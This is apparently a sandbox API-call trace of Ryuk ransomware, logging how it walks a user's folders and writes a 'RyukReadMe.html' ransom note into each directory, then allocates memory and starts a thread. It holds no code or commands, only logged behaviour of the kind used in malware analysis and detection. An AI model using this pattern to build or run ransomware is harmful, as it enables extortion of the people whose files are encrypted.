	[0256.613] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715", cAlternateFileName="CLICEX~1.000")) returned 1
	[0256.613] SetLastError (dwErrCode=0x0) 
	[0256.613] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.613] GetLastError () returned 0x3
	[0256.613] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0) returned 0
	[0256.613] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.614] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\*.*", lpFindFileData=0x18b7c0 | out: lpFindFileData=0x18b7c0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x212, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0256.614] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0256.614] SetLastError (dwErrCode=0x0) 
	[0256.614] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.614] GetLastError () returned 0x3
	[0256.614] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0) returned 0
	[0256.614] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.614] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", cAlternateFileName="GOOGAP~1.000")) returned 1
	[0256.614] SetLastError (dwErrCode=0x0) 
	[0256.614] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.614] GetLastError () returned 0x3
	[0256.614] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0) returned 0
	[0256.614] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.615] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*.*", lpFindFileData=0x18b7c0 | out: lpFindFileData=0x18b7c0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x212, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0256.615] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0256.615] SetLastError (dwErrCode=0x0) 
	[0256.615] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.615] GetLastError () returned 0x3
	[0256.615] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0) returned 0
	[0256.615] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.615] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="manifests", cAlternateFileName="MANIFE~1")) returned 1
	[0256.615] SetLastError (dwErrCode=0x0) 
	[0256.615] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.615] GetLastError () returned 0x3
	[0256.615] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0) returned 0
	[0256.615] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.615] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\*.*", lpFindFileData=0x18b7c0 | out: lpFindFileData=0x18b7c0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x212, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0256.615] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0256.616] SetLastError (dwErrCode=0x0) 
	[0256.616] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.616] GetLastError () returned 0x3
	[0256.616] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0) returned 0
	[0256.616] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.616] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="manifests", cAlternateFileName="MANIFE~1")) returned 0
	[0256.616] FindClose (in: hFindFile=0x3efa90 | out: hFindFile=0x3efa90) returned 1
	[0256.618] SetLastError (dwErrCode=0x0) 
	[0256.618] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.618] GetLastError () returned 0x3
	[0256.618] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0256.618] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.618] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1dc, dwReserved1=0x0, cFileName="YVORLGOR.PNT", cAlternateFileName="")) returned 0
	[0256.618] FindClose (in: hFindFile=0x3efb50 | out: hFindFile=0x3efb50) returned 1
	[0256.618] SetLastError (dwErrCode=0x0) 
	[0256.618] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d4
	[0256.619] GetLastError () returned 0xb7
	[0256.619] CloseHandle (hObject=0x6d4) returned 1
	[0256.619] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x774a46e0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x774a46e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x774a46e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0256.619] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x774a46e0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x774a46e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x774a46e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0256.619] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0256.619] SetLastError (dwErrCode=0x0) 
	[0256.619] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5ec
	[0256.619] GetLastError () returned 0xb7
	[0256.619] CloseHandle (hObject=0x5ec) returned 1
	[0256.620] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x774a46e0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x774a46e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x774a46e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0256.620] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x774a46e0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x774a46e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x774a46e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0256.620] FindClose (in: hFindFile=0x3ef9d0 | out: hFindFile=0x3ef9d0) returned 1
	[0256.620] SetLastError (dwErrCode=0x0) 
	[0256.620] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x484
	[0256.620] GetLastError () returned 0xb7
	[0256.620] CloseHandle (hObject=0x484) returned 1
	[0256.620] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1
	[0256.620] SetLastError (dwErrCode=0x0) 
	[0256.620] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x484
	[0256.621] GetLastError () returned 0xb7
	[0256.621] CloseHandle (hObject=0x484) returned 1
	[0256.621] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Deployment\\*.*", lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x774ca840, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x774ca840, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef9d0
	[0256.621] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x774ca840, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x774ca840, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0256.621] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x774ca840, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x774ca840, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x774ca840, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0256.621] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x774ca840, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x774ca840, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x774ca840, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0256.621] FindClose (in: hFindFile=0x3ef9d0 | out: hFindFile=0x3ef9d0) returned 1
	[0256.621] SetLastError (dwErrCode=0x0) 
	[0256.622] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Deployment\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\deployment\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x484
	[0256.622] GetLastError () returned 0xb7
	[0256.622] CloseHandle (hObject=0x484) returned 1
	[0256.622] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66051ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x66051ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9791f220, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x1a918, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GDIPFONTCACHEV1.DAT", cAlternateFileName="GDIPFO~1.DAT")) returned 1
	[0256.622] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0256.623] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x484
	[0256.624] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0256.625] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Google", cAlternateFileName="")) returned 1
	[0256.625] SetLastError (dwErrCode=0x0) 
	[0256.625] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5ec
	[0256.625] GetLastError () returned 0xb7
	[0256.625] CloseHandle (hObject=0x5ec) returned 1
	[0256.625] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\*.*", lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7766d760, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7766d760, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef9d0
	[0256.626] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7766d760, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7766d760, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
